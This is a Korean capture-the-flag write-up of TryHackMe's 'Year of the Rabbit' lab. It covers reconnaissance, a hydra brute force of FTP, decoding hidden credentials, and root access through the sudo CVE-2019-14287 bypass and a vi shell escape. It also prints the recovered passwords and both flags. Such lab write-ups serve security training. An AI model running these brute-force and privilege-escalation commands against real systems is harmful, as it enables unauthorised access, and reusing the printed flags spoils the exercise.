TryHackMe | CTF

TryHackMe | Year of the Rabbit - 모의해킹 CTF

건우Sec 2024. 10. 12. 18:34

 

TASK 1 Flags

1. ANSWER : user flag 는 무엇인가요?

nmap 으로 포트스캔 부터 해봅시다

nmap 10.10.247.6 -sV -sC -A

 

출력 내용

nmap 10.10.247.6 -sV -sC -A                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 03:30 EDT
Nmap scan report for 10.10.247.6
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
|   2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
|   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_  256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Apache2 Debian Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/12%OT=21%CT=1%CU=40555%PV=Y%DS=2%DC=T%G=Y%TM=670
OS:A259F%P=x86_64-pc-linux-gnu)SEQ(SP=F7%GCD=1%ISR=100%TI=Z%CI=I%II=I%TS=8)
OS:SEQ(SP=F8%GCD=1%ISR=100%TI=Z%CI=I%II=I%TS=8)OPS(O1=M509ST11NW6%O2=M509ST
OS:11NW6%O3=M509NNT11NW6%O4=M509ST11NW6%O5=M509ST11NW6%O6=M509ST11)WIN(W1=6
OS:8DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M
OS:509NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T
OS:4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%
OS:RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT       ADDRESS
1   247.05 ms 10.21.0.1
2   247.10 ms 10.10.247.6

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.00 seconds

 

현재 열려있는 포트는

21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))

 

이상입니다.

 

웹사이트에 들어가보겠습니다

 

 

Apache2 페이지 화면이 보이군요.

 

gobuster 로 경로를 탐색해보겠습니다.

gobuster dir -u http://10.10.247.6/ -w '/home/kali/Downloads/directory-list-2.3-medium.txt'

 

 

/assets               (Status: 301) [Size: 311] [--> http://10.10.247.6/assets/]

 

경로확인

여기에서 style.css , RickRolled.mp4 두가지 파일이 존재한다

 

1. style.css

 

2. RickRolled.mp4

 

 

..?

 

 

뭔가 찾은게 있는데 경로

/sup3r_s3cr3t_fl4g.php

 

flag 가 있는 경로를 찾은거같다

 

이렇게 쉬울리가 없는데

 

 

ㅋㅋ.. 예상했다

 

Word of advice Trun off your javascript

 

해석하면 자바스크립트를 끄라는 소리인데

 

 

버프스위트를 킨후 

 

intercept is on

 

숨겨진 경로 확인

WExYY2Cv-qU

 

 

Hot_Babe.png

 

파일을 다운받아 줍시다

wget http://10.10.247.6/WExYY2Cv-qU/Hot_Babe.png

 

strings Hot_Babe.png

 

요 이상한 문자열을 hydra 로 크랙해보겠습니다.

 

FTP 는 ftpuser 로 하라네요

 

 

nano 편집기로 먼저 저장해준뒤

 

hydra -l ftpuser -P HotBabe_password 10.10.247.6 ftp

 

크랙에 성공했습니다

[21][ftp] host: 10.10.247.6   login: ftpuser   password: 5iez1wGXKfPKQ

 

로그인을 해 어떤 파일이 존재하는지 확인해봅시다

 

 

Eli's_Creds.txt

 

라는 텍스트 파일이 존재합니다

get Eli's_Creds.txt

 

다운로드 받아줍시다

 

nano 편집기로 텍스트 파일을 열어봅시다

 

 

??????

 

또 이것을 크랙해봅시다

 

BrainFuck 이라는 크랙해주는 웹사이트가 있는데

 

 

아마도 저게 BrainFuck 으로 된 문자열인거 같습니다

 

저게 읽을수가 있나..

 

https://www.dcode.fr/brainfuck-language

 

Brainfuck Language - Online Decoder, Translator, Interpreter

Tool to decode/encode in Brainfuck, an esoteric programming language consisting of characters like ++++---[+++].

www.dcode.fr

 

크랙해보니

 

 

User : eli

Password : DSpDiM1wAEwid

 

이제 로그인 해봅시다

 

 

ssh @10.10.247.6

 

 

cat: user.txt: Permission denied

 

권한이 없는것으로 보입니다

 

 

마찬가지로 sudo -l 로 권한상승을 할려고 해도 

 

Sorry, user eli may not run sudo on year-of-the-rabbit.

 

라는 문구가 출력됩니다

 

 

cat /etc/passwd

 

 

locate 명령어를 써 플레그 파일을 찾아보겠습니다

 

여기에서 수상한점을 발견했습니다

It should be at least 60 characters long! Not just MniVCQVhQHUNI

 

마지막 문자열이 비번인거 같습니다

 

 

아니군요

su gwendoline

 

으로 권한상승을 해보겠습니다

 

 

성공적으로 로그인에 성공했습니다 !

 

 

플레그 획득 완료.

 

THM{1107174691af9ff3681d2b5bdb5740b1589bae53}

 

2. ANSWER root.txt 에 플레그는 무엇인가요?

 

gwendoline 은 /usr/bin/vi 사용하여 권한상승을 못한다합니다

 

그러기 위해선 우리는

 

현재 sudo 버전인 

 

Sudo version 1.8.10p3

 

현재 이버전은 CVE-2019-14287 취약점이 존재합니다

 

CVE-2019-14287 취약점 이란 sudo 루트 권한을 탈취할수 있는 취약점 입니다

 

 

아무튼 이명령어는 아닌가봅니다

 

/usr/bin/vi 여는게 우리목적이니

sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

 

이 명령어를 실행하면?

 

성공적으로 vim 을 열수가 있습니다

 

근데 vi 편집기는 어떻게 쓰는거지

 

ㅋㅋ..

 

 

 

그래서 chat gpt 한테 알려달라 한후

 

:!/bin/bash

https://gtfobins.github.io/

 

GTFOBins

pg Shell File read SUID Sudo

gtfobins.github.io

 

 

 

저 명령어를 vim 편집기 맨아래에 저장후

cd /root
ls
root.txt
cat root.txt
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}

 

플레그 획득완료.

 

 

난이도 : 6.5/10

한줄평 : vim 편집기 사용법 모르면 못푸는 문제